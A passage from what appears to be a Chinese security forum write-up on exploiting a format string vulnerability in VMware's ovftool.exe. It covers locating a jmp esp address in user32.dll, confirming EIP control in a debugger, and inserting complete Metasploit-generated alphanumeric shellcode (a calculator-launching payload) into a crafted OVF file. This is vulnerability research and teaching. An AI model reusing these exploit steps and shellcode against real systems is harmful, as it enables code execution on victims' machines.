00121000  62 36 43 62 37 43 62 38-43 62 39 43 63 30 43 63  b6Cb7Cb8Cb9Cc0Cc
00121010  31 43 63 32 43 63 33 43-63 34 43 63 35 43 63 36  1Cc2Cc3Cc4Cc5Cc6
00121020  43 63 37 43 63 38 43 63-39 43 64 30 43 64 31 43  Cc7Cc8Cc9Cd0Cd1C
00121030  64 32 43 64 33 43 64 34-43 64 35 43 64 36 43 64  d2Cd3Cd4Cd5Cd6Cd
00121040  37 43 64 38 43 64 39 43-65 30 43 65 31 43 65 32  7Cd8Cd9Ce0Ce1Ce2
00121050  43 65 33 43 65 34 43 65-35 43 65 36 43 65 37 43  Ce3Ce4Ce5Ce6Ce7C
00121060  65 38 43 65 39 43 66 30-43 66 31 43 66 32 43 66  e8Ce9Cf0Cf1Cf2Cf
00121070  33 43 66 34 43 66 35 43-66 36 43 66 37 43 66 38  3Cf4Cf5Cf6Cf7Cf8

确实是属性值中的内容。

 

如果属性值的长度不变,这个偏移值应该是稳定的。所以目前为止我们已经确定了属性值的长度以及“已打印字符数”的数值。

3.2.3 控制程序执行流程

接下来我们要保证0x00121000偏移四字节的位置,即原本的7Cb8,是正确的返回地址,比如说经典的jump esp指令的地址。

  1. 确定jump esp指令位置

    注:这里要保证得到的地址在[30~7F]的范围内(这个范围可能不准,需要进一步测试),否则ovftool.exe可能会出错。

    使用Exploit编写系列教程学习笔记提到的findjmp.exe程序找到jump esp指令地址:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    C:\Documents and Settings\test\Desktop>findjmp user32.dll esp
     
    Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    Scanning user32.dll for code useable with the esp register
    ...
     
    0x7E48699C      jmp esp
    0x7E4869A8      jmp esp
    0x7E486A38      jmp esp
    0x7E486B54      jmp esp
    0x7E486B58      jmp esp
    0x7E486B5C      jmp esp
    0x7E4870DB      call esp
    0x7E487443      jmp esp
    0x7E48748B      jmp esp
    0x7E48754C      jmp esp
    0x7E48B00B      call esp
    0x7E48B227      call esp
    ...

    选择倒数第三个0x7E48754C(经过实验ovftool.exe不会出错)。

  2. 确定替换位置

    直接在生成的字符串中搜索7Cb8,结果找到了三个位置,为了确定是哪个位置的7Cb8会作为返回地址,分别把这两个位置的字符替换成AAAABBBBaaaa,重新调试执行之后,程序跳转到了0x61616161

    1
    2
    3
    4
    5
    (d44.c34): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000001 ebx=00000000 ecx=5bc6422a edx=12910030 esi=00000001 edi=016138e0
    eip=61616161 esp=00121008 ebp=62433662 iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
    61616161 ??              ???

    因此可以确定第三个7Cb8的位置会变成返回地址,将其替换为jump esp的地址。

3.2.3 执行shellcode

将返回地址的位置替换为jump esp指令地址之后,已经能够控制程序的执行流程了,接下来需要将shellcode替换填充到返回地址的后面,实现shellcode的执行。

 

使用msf生成一个弹计算器的shellcode,注意要排除\x00字符,同时选择x86/alpha_upper编码器,并设置ESP寄存器指向shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
msf6 payload(windows/exec) > generate -b "\x00" -e x86/alpha_upper BufferRegister=ESP -f perl
# windows/exec - 439 bytes
# https://metasploit.com/
# Encoder: x86/alpha_upper
# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calc
my $buf =
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" .
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" .
"\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" .
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" .
"\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x33\x30\x35\x50\x55" .
"\x50\x45\x30\x4c\x49\x4d\x35\x56\x51\x4f\x30\x53\x54\x4c" .
"\x4b\x50\x50\x46\x50\x4c\x4b\x56\x32\x44\x4c\x4c\x4b\x46" .
"\x32\x54\x54\x4c\x4b\x44\x32\x47\x58\x34\x4f\x38\x37\x51" .
"\x5a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x53" .
"\x4c\x54\x42\x56\x4c\x57\x50\x59\x51\x48\x4f\x34\x4d\x45" .
"\x51\x58\x47\x4a\x42\x4c\x32\x36\x32\x56\x37\x4c\x4b\x31" .
"\x42\x34\x50\x4c\x4b\x30\x4a\x37\x4c\x4c\x4b\x30\x4c\x34" .
"\x51\x32\x58\x4b\x53\x51\x58\x35\x51\x4e\x31\x36\x31\x4c" .
"\x4b\x30\x59\x47\x50\x55\x51\x49\x43\x4c\x4b\x37\x39\x55" .
"\x48\x4d\x33\x56\x5a\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x43" .
"\x31\x39\x46\x56\x51\x4b\x4f\x4e\x4c\x4f\x31\x58\x4f\x54" .
"\x4d\x55\x51\x4f\x37\x47\x48\x4d\x30\x53\x45\x4b\x46\x54" .
"\x43\x33\x4d\x4b\x48\x47\x4b\x53\x4d\x57\x54\x33\x45\x4d" .
"\x34\x31\x48\x4c\x4b\x31\x48\x47\x54\x53\x31\x59\x43\x55" .
"\x36\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x51\x48\x45\x4c\x55" .
"\x51\x48\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30\x4c" .
"\x49\x31\x54\x46\x44\x46\x44\x51\x4b\x51\x4b\x35\x31\x30" .
"\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50\x31\x4f\x51\x4f\x51" .
"\x4a\x4c\x4b\x44\x52\x4a\x4b\x4c\x4d\x31\x4d\x33\x5a\x33" .
"\x31\x4c\x4d\x4b\x35\x4f\x42\x53\x30\x55\x50\x43\x30\x30" .
"\x50\x52\x48\x30\x31\x4c\x4b\x52\x4f\x4b\x37\x4b\x4f\x39" .
"\x45\x4f\x4b\x4b\x4e\x54\x4e\x47\x42\x4a\x4a\x45\x38\x59" .
"\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x59\x45\x47\x4c\x33" .
"\x36\x43\x4c\x45\x5a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x34" .
"\x45\x4f\x4b\x31\x57\x42\x33\x52\x52\x52\x4f\x33\x5a\x43" .
"\x30\x36\x33\x4b\x4f\x49\x45\x35\x33\x55\x31\x42\x4c\x32" .
"\x43\x33\x30\x41\x41";

最后用生成的439个字节的shellcode内容替换掉返回地址后面的439个字节。

 

在命令行中使用ovftool.exe加载制作好的test.ovf文件,成功弹出计算器:

 

图片描述

4. 总结

和其他漏洞相比,格式化字符串漏洞的分析过程其实格外地明确,因为它的原理是很单一的。关键点就在于要确定格式化输出函数的位置,而由于存在“输出”的过程,因此可以根据输出结果对代码进行初步定位。一旦确定了格式化输出函数的位置,就能够进行漏洞利用了。而关于漏洞利用的方法,之前也有了很详细的分析过程,因此此次的漏洞分析过程虽然走了一些弯路,但是总体上是一次比较流畅的分析过程。

 

在漏洞调试和利用的过程中充分实践了之前文章中学习到的分析方法,希望各位也能有所收获。

5. 参考资料

  1. [原创]如何利用栈溢出漏洞1——Exploit编写系列教程学习笔记
  2. [原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析
  3. 《漏洞战争》

[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回